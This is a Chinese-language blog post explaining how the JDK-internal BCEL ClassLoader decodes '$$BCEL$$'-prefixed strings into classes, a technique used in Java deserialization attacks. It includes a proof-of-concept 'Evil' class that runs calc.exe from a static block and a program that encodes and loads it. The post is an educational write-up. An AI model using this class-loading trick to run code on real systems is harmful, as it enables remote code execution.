BCEL classloader

一、概述

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel。

二、BCEL ClassLoader如何使用

BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

  • 在ClassLoader#loadClass()中,接受一个String并且判断类名是否是$$BCEL$$开头,如果是的话,调用createClass方法。

  • 此方法中将会对这个字符串截取$$BCEL$$后面的字符串进行decode,解码后经过一些列处理后返回clazz,也就是javaclass。

  • 当我们的字节码加载完成javaclass后,如果不为空,即调用definClass方法动态加载。

既然存在decode,那我们看一下encode是如何编码的。

  • JavaWrite#write方法如下:

基本可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

测试:

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器。

实战中我们可以通过BCEL提供的两个类Repository 和Utility 来利用: Repository 用于将一个Java  Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;  Utility 用于将原生的字节码转换成BCEL格式的字节码:

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class EvilBCEL {
    public static void main(String[] args) throws Exception {
        //方式一:
//        JavaClass cls = Repository.lookupClass(Evil.class);
//        String code = Utility.encode(cls.getBytes(), true);
//        System.out.println(code);
//        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();

        //方式二:
        byte[] codebyte =Files.readAllBytes(Paths.get("C:\\tools\\fuxian\\TestDemo\\src\\main\\java\\com\\huawei\\ClassLoader\\Evil.class"));
        String code2 = Utility.encode(codebyte, true);
        System.out.println(code2);
        new ClassLoader().loadClass("$$BCEL$$" + code2).newInstance();
    }
}

注意:

在Java 8u251的更新中,这个ClassLoader被移除了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值